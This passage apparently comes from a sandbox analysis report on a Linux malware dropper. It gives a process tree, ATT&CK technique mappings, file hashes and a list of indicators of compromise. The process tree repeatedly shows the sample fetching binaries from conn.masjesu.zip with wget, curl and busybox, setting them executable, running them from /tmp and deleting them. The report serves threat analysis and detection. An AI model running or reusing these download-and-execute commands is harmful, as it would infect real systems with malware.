  - File and Directory Permissions Modification
  PID:965
- /tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  ./ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:967
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - System Network Configuration Discovery
  PID:968
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - System Network Configuration Discovery
  PID:971
- /bin/chmod
  chmod 777 EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  ./EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:974
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - System Network Configuration Discovery
  PID:975
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - System Network Configuration Discovery
  PID:978
- /bin/chmod
  chmod 777 PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  ./PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:981
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - System Network Configuration Discovery
  PID:982
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - System Network Configuration Discovery
  PID:985
- /bin/chmod
  chmod 777 FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - File and Directory Permissions Modification
  PID:986
- /tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  ./FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Executes dropped EXE
  PID:987
- /bin/rm
  rm FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  PID:988
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - System Network Configuration Discovery
  PID:989
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:990
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - System Network Configuration Discovery
  PID:992
- /bin/chmod
  chmod 777 YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - File and Directory Permissions Modification
  PID:993
- /tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  ./YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Executes dropped EXE
  PID:994
- /bin/rm
  rm YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:995
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - System Network Configuration Discovery
  PID:996
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - System Network Configuration Discovery
  PID:999
- /bin/chmod
  chmod 777 kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  ./kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:1002
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:1003
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1004
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /bin/chmod
  chmod 777 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - File and Directory Permissions Modification
  PID:1007
- /tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  ./2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Executes dropped EXE
  PID:1008
- /bin/rm
  rm 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:1009

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1

Path /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	741	bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	748	4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	765	SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	807	2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	847	ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	854	6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	861	UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	868	w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	875	YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	882	kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	889	EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	896	PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	903	FpXVAafXBm72J4SxspUiJafBZymFJomITC
/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	910	2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	917	SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	924	bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	931	4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	938	6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	945	UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	952	w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	959	2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	966	ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	973	EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	980	PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	987	FpXVAafXBm72J4SxspUiJafBZymFJomITC
/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	994	YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	1001	kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	1008	2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo